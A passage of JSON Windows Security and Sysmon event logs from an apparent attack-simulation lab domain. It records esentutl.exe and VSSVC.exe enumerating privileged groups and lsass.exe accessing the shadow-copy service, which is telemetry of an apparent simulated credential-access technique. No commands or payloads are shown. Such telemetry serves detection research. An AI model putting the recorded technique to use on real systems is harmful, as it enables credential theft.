11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222057,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222058,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222059,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222060,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222061,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222062,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222063,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222064,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222065,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222066,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222067,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222068,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222069,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222070,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222071,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222072,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222073,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5498,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 